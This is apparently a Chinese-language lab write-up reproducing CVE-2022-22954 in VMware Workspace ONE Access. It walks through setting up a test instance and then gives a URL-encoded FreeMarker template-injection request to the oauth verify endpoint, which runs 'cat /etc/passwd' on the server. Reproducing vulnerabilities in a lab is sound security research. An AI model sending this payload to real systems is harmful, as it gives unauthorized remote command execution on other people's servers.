CVE-2022-22954 VMware Workspace ONE Access 复现

ova下载如下：

https://www.carlstalhood.com/vmware-access#ovfdeploy

点进去之后，进行登录vm 账号发现是下载不了的

点击试用即可

然后进行下载

下载完成之后直接点击使用即可  这里需要设置一下fqdn

然后就是等待了

安装完之后

打开页面然后设置密码

要使用设置的域名才能进行设置数据库

然后访问：

https://id.test.local/

/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d

代码调试参考:https://xz.aliyun.com/t/11196

代码块在/opt/vmware/horizon/workspace/webapps/catalog-portal 目录下

启动的Tomcat 目录在/usr/share/tomcat/